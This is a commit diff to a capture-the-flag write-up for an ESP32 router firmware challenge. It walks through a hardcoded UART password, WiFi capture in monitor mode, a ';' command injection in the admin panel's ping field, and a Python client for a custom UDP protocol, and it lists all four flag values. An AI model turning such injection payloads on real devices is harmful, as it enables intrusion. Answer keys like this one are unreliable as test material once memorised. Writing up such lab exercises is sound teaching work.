write-up: ESP/Jnouner_Router/README.md

This commit is contained in:
Eun0us 2026-03-26 17:33:18 +00:00
parent 85b3e4a1a3
commit cf7da4e7ec

View File

@ -1,17 +1,64 @@
# Jnouner Router — Solution
# Jnouned Router
**Category:** ESP | **Type:** Multi-part (4 flags)
| Field | Value |
|-------|-------|
| Category | ESP |
| Difficulty | Multi-part (Easy to Hard) |
| Points | 100 / 200 / 300 / 400 (4 flags) |
| Author | Eun0us |
| CTF | Espilon 2026 |
| Flag | Name | Points | Flag value |
|------|-----------------|--------|-----------------------------------|
| 1/4 | Console Access | 100 | `ESPILON{Jn0un3d_4dM1N}` |
| 2/4 | 802.11 TX | 200 | `ESPILON{802_11_tx_jnned}` |
| 3/4 | Admin Panel | 300 | `ESPILON{Adm1n_4r3_jn0uned}` |
| 4/4 | JMP Protocol | 400 | `ESPILON{Jn0un3d_UDP_Pr0t0c0l}` |
---
## Setup
## Description
Flash the firmware on an ESP32:
The CERT-CORP intercepted a strange firmware from an unknown router model built by the
shady *JNouner Company*.
Analysts found it targets an **ESP32-based prototype**, but the system is protected by a
locked **UART console**.
Flash the firmware, break into the system, and work your way through every layer of this device.
Format: **ESPILON{flag}**
---
## TL;DR
Four-part progressive challenge on an ESP32 router firmware. Break the UART password, sniff
802.11 frames in monitor mode, exploit a command-injection in the web admin panel, then reverse
a custom UDP protocol (JMP) to exfiltrate the final flag.
---
## Tools
| Tool | Purpose |
|------|---------|
| `esptool.py` | Flash firmware |
| `screen` / `minicom` | UART console access |
| `airmon-ng` / `tcpdump` | 802.11 monitor mode capture |
| `curl` | Web admin POST injection |
| Python 3 + `socket` + `struct` + `hashlib` | JMP protocol client |
| `strings` / Ghidra | Firmware static analysis |
---
## Flags Summary
| Flag | Name | Points | Value |
|------|------|--------|-------|
| 1/4 | Console Access | 100 | `ESPILON{Jn0un3d_4dM1N}` |
| 2/4 | 802.11 TX | 200 | `ESPILON{802_11_tx_jnned}` |
| 3/4 | Admin Panel | 300 | `ESPILON{Adm1n_4r3_jn0uned}` |
| 4/4 | JMP Protocol | 400 | `ESPILON{Jn0un3d_UDP_Pr0t0c0l}` |
---
## Solution
### Setup — Flash the firmware
```bash
esptool.py --chip esp32 --port /dev/ttyUSB0 --baud 460800 write_flash -z \
@ -26,13 +73,16 @@ Open the UART console:
screen /dev/ttyUSB0 115200
```
> 📸 `[screenshot: UART console showing jnoun-console> prompt]`
---
## Flag 1 — Console Access
### Flag 1 — Console Access (100 pts)
The UART console shows a `jnoun-console>` prompt. The password is hardcoded in
the firmware as three concatenated parts. Read the ELF strings or reverse
`build_admin_password()` in `admin.c`:
The UART console presents a `jnoun-console>` prompt requiring a password.
Inspect `admin.c` in the firmware source (or run `strings` on the ELF) to find
`build_admin_password()`. The password is assembled from three parts:
```
p1 = "jnoun-"
@ -47,25 +97,30 @@ admin_login jnoun-admin-2022
Flag 1 is printed on success.
> 📸 `[screenshot: successful admin_login command printing Flag 1]`
---
## Flag 2 — 802.11 TX
### Flag 2 — 802.11 TX (200 pts)
From the admin console, trigger 802.11 frame emission:
From the admin console, read device settings:
```text
settings ← reveals WiFi SSID/PSK (XOR-obfuscated in firmware)
start_emitting ← starts sending raw 802.11 data frames for 90 seconds
settings
```
WiFi credentials recovered from firmware (`wifi.c`, XOR key `0x37`):
The output reveals WiFi credentials (XOR-obfuscated with key `0x37` in `wifi.c`):
- **SSID**: `Jnoun-3E4C`
- **PSK**: `LAIN_H4v3_Ajnoun`
Put a WiFi card into **monitor mode** and capture the 802.11 frames while the
flooder runs. Among random noise frames, one frame (emitted at a random time
between 5 and 85 seconds) contains flag 2 in its payload:
Trigger the 802.11 data-frame flood for 90 seconds:
```text
start_emitting
```
Put your WiFi adapter into monitor mode on the same channel and capture frames:
```bash
airmon-ng start wlan0
@ -74,48 +129,47 @@ tcpdump -i wlan0mon -w capture.pcap
tshark -i wlan0mon -w capture.pcap
```
Filter for non-noise frames (payload not all-random). Flag 2 appears as cleartext
in the 802.11 data frame payload.
Among the random noise frames, one frame emitted at a random time (585 seconds)
contains Flag 2 as cleartext in its 802.11 data payload.
> 📸 `[screenshot: Wireshark frame showing Flag 2 in the payload field]`
---
## Flag 3 — Admin Panel
### Flag 3 — Admin Panel (300 pts)
Connect to the WiFi AP (`Jnoun-3E4C` / `LAIN_H4v3_Ajnoun`). The router runs an
Connect to the WiFi AP (`Jnoun-3E4C` / `LAIN_H4v3_Ajnoun`). The router hosts an
HTTP server at `http://192.168.4.1`.
Login with default credentials: `admin` / `admin`.
Log in: `admin` / `admin`.
The `/admin` page contains a "ping" form that posts to `/api/ping`. The admin
page hints: *"Parser séparateur ';'"* — the internal shell splits on `;`.
The `/admin` page has a "ping" form posting to `/api/ping`. A hint on the page reads:
*"Parser séparateur ';'"* — the internal shell splits commands on `;`.
Inject via the `target` field:
```text
POST /api/ping
target=192.168.1.1; flag
```
Flag 3 is printed to the UART console (`ESP_LOGE` output).
Or URL-encoded via curl:
```bash
curl -b "auth=1" -X POST http://192.168.4.1/api/ping \
-d "target=x%3B+flag"
```
Decoded: `target=x; flag`
Flag 3 prints to the UART console via `ESP_LOGE`.
> 📸 `[screenshot: UART console showing Flag 3 output after injection]`
---
## Flag 4 — JMP Protocol
### Flag 4 — JMP Protocol (400 pts)
From the admin panel, trigger the exfiltration session:
Trigger the exfiltration session via the web injection:
```text
target=x; start_session
```
The UART console shows:
The UART console leaks:
```text
JMP Server listening on UDP:6999
@ -126,7 +180,7 @@ PROTOCOL INITIALIZATION LEAK:
```
The secret is `JNOUNER_SECRET_EXFILTRATION`. Authenticate with its SHA256 hash,
then request data blocks:
then request all data blocks:
```python
import socket, struct, hashlib
@ -168,6 +222,13 @@ for block_id in range(10):
print(flag.decode())
```
## Author
> 📸 `[screenshot: Python JMP client printing the final flag after block reassembly]`
Eun0us
---
## Flag
- Flag 1: `ESPILON{Jn0un3d_4dM1N}`
- Flag 2: `ESPILON{802_11_tx_jnned}`
- Flag 3: `ESPILON{Adm1n_4r3_jn0uned}`
- Flag 4: `ESPILON{Jn0un3d_UDP_Pr0t0c0l}`